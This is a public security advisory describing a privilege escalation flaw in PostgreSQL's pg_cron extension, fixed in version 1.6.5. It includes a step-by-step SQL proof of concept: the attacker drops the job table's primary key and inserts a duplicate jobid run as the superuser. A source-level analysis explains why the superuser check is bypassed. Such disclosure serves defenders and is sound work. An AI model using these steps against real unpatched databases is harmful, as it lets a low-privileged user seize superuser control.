PostgreSQL: Privilege Escalation Vulnerability via pg_cron

**security-research** Public

# PostgreSQL: Privilege Escalation Vulnerability via pg_cron

## Package

## Affected versions

## Patched versions

## Description

### Summary

A logical flaw in the pg_cron extension allows low-privileged users with ownership over pg_cron’s job table or ability to change the value of cron.database_name to run arbitrary SQL queries as any user including superusers. This is also possible if superuser jobs are explicitly disabled. An attacker can bypass this restriction by removing the uniqueness constraint for the primary key of pg_cron’s underlying job table and inserting two jobs with the same `jobId` (one running as e.g. `low-priv-user` and the other one running as `superuser`). Although the `superuser` job is denied, it is mistakenly executed when running the first job because hte `jobId` is used as a reference in pg_cron’s internal data structures.

### Severity

High – This vulnerability allows a lot privileged user to run arbitrary SQL commands in the context of `superuser`.

### Proof of Concept

Enable pg_cron extension with background workers ( `postgresql.conf`):

“`
shared_preload_libraries = ‘pg_cron’ cron.use_background_workers = on
“`

Connect to database with superuser (e.g., `postgres`) and create `pg_cron` extension:

“`
postgres=# CREATE EXTENSION pg_cron;
“`

Create low-privileged user and grant usage access to `cron` schema:

“`
postgres=# CREATE USER “low-priv-user”; postgres=# GRANT USAGE ON SCHEMA cron TO “low-priv-user”;
“`

Make the low-privileged user owner of the `cron.job` table (required for the low-privileged user to alter the table):

“`
postgres=# ALTER TABLE cron.job OWNER to “low-priv-user”;
“`

Create a temporary table (we will write the output of `CURRENT_USER` here to verify our privileges):

“`
postgres=# CREATE TABLE foo(bar TEXT); postgres=# GRANT ALL PRIVILEGES ON TABLE foo TO “low-priv-user”;
“`

Switch to low-privileged user and schedule a legit job via `cron.schedule`:

“`
postgres=# SET ROLE “low-priv-user”; postgres=> SELECT cron.schedule(‘legit-job’, ‘* * * * *’, ‘INSERT INTO foo (bar) VALUES(CURRENT_USER)’);
“`

This adds an entry in the `cron.job` table:

“`
postgres=> SELECT jobid, username, command FROM cron.job; ————————————————————————– jobid username command ————————————————————————– 1 low-priv-user INSERT INTO foo (bar) VALUES(CURRENT_USER)
“`

Drop the uniqueness constraint from the primary key `jobid`:

“`
postgres=> ALTER TABLE cron.job DROP CONSTRAINT job_pkey;
“`

Now, we can insert another entry with the same `jobid` ( `username` is set to `postgres`):

“`
postgres=> INSERT INTO cron.job (jobid, schedule, nodename, nodeport, command, username) VALUES (1, ‘* * * * *’, ‘localhost’, 5432, ‘INSERT INTO foo(bar) VALUES(USER)’, ‘postgres’);
“`

At this point, there are two entries in the `cron.job` table with the same `jobid`. The second entry has the `username` set to `postgres`:

After the job has been executed, we can verify the `CURRENT_USER` output in the `foo` table:

“`
postgres=> SELECT * FROM foo; ————————————————————————– bar ————————————————————————– postgres
“`

### Further Analysis

#### Recommendations

The superuser check should be done before storing the `CronJob` data structure in the `CronJobHash` hash table. Fixed version is available and should be updated to 1.6.5.

#### Technical Details

pg_cron uses a table called cron.job to store scheduled jobs (see here):

“`
CREATE TABLE cron.job ( jobid bigint primary key default pg_catalog.nextval(‘cron.jobid_seq’), […] command text not null, […] username text not null default current_user );
“`

A common entry in this table e.g. looks like this:

“`
SELECT jobid, username, command FROM cron.job; ————————————————————————– jobid username command ————————————————————————– 1 low-priv-user SELECT 1
“`

pg_cron loads these jobs from the table and stores them as a `CronJob` data structure in the `CronJobHash` hash table (see here):

“`
static CronJob * TupleToCronJob(TupleDesc tupleDescriptor, HeapTuple heapTuple) { CronJob *job = NULL; […] // HASH_ENTER: look up key in table, creating entry if not present job = hash_search(CronJobHash, &jobKey, HASH_ENTER, &isPresent); […] job->jobId = DatumGetInt64(jobId); job->command = TextDatumGetCString(command); job->userName = TextDatumGetCString(userName); […]
“`

After a job has been stored in the `CronJobHash` hash table, there is a check if superuser-jobs are allowed ( `EnableSuperuserJobs`) and if the job’s user is a superuser (see here):

“`
// Job is stored in hash table here! job = TupleToCronJob(tupleDescriptor, heapTuple); // Check _after_ job creation jobOwnerId = get_role_oid(job->userName, false); if (!EnableSuperuserJobs && superuser_arg(jobOwnerId)) { /* * Someone inserted a superuser into the metadata. Skip over the * job when cron.enable_superuser_jobs is disabled. The memory * will be cleaned up when CronJobContext is reset. */ ereport(WARNING, (errcode(ERRCODE_INSUFFICIENT_PRIVILEGE), errmsg(“skipping job ” INT64_FORMAT ” since superuser jobs are currently disallowed”, job->jobId))); }
“`

Only if the job is allowed (no superuser), it is added to the joblist:

“`
else { jobList = lappend(jobList, job); }
“`

For allowed jobs, a corresponding CronTask data structure is created:

“`
jobList = LoadCronJobList(); foreach(jobCell, jobList) { CronJob *job = (CronJob *) lfirst(jobCell); // creates a CronTask with the given jobId task = GetCronTask(job->jobId); […] }
“`

This `CronTask` references the corresponding `CronJob` via its `jobId` (see here):

“`
task->jobId = jobId;
“`

When pg_cron executes a scheduled command, it operates on the `CronTask` data structure. The function `ManageCronTask` receives a `CronTask` and uses the `jobId` to get the related `CronJob` from the `CronJobHash` hash table via `GetCronJob` (see here):

“`
static void ManageCronTask(CronTask *task, TimestampTz currentTime) { CronTaskState checkState = task->state; int64 jobId = task->jobId; // retrieve CronJob related to this CronTask CronJob *cronJob = GetCronJob(jobId);
“`

The retrieved `CronJob` is then used to pass all information about the job ( `username`, `command`, etc.) to the background worker via a shared memory (see here):

“`
username = shm_toc_allocate(toc, strlen(cronJob->userName) + 1); strcpy(username, cronJob->userName); shm_toc_insert(toc, PG_CRON_KEY_USERNAME, username); command = shm_toc_allocate(toc, strlen(cronJob->command) + 1); strcpy(command, cronJob->command); shm_toc_insert(toc, PG_CRON_KEY_COMMAND, command);
“`

The background worker connects to the database with the given username and then executes the command:

“`
BackgroundWorkerInitializeConnection(database, username, 0); […] /* Execute the query. */ ExecuteSqlString(command);
“`

This logic assumes that the `jobId` is unique since it uses this value as the key for the `CronJobHash` table. However, an attacker can remove the uniqueness constraint from the `cron.job ` table and then add jobs with the same `jobId`.

Since the `CronJob` data structure is created before the superuser check is performed, an attacker can add a superuser job with the same `jobId` as a legitimate (non-superuser) job. This overwrites the entry of the legitimate `CronJob` in the `CronJobHash` hash table. Although no `CronTask` is created for the superuser job because of the failed check, the `CronTask` for the legitimate job now references the superuser job. This allows an attacker to run arbitrary SQL commands in the context of the superuser.

### Timeline

**Date reported**: 12/03/2024

**Date fixed**: 12/12/2024

**Date disclosed**: 03/05/2025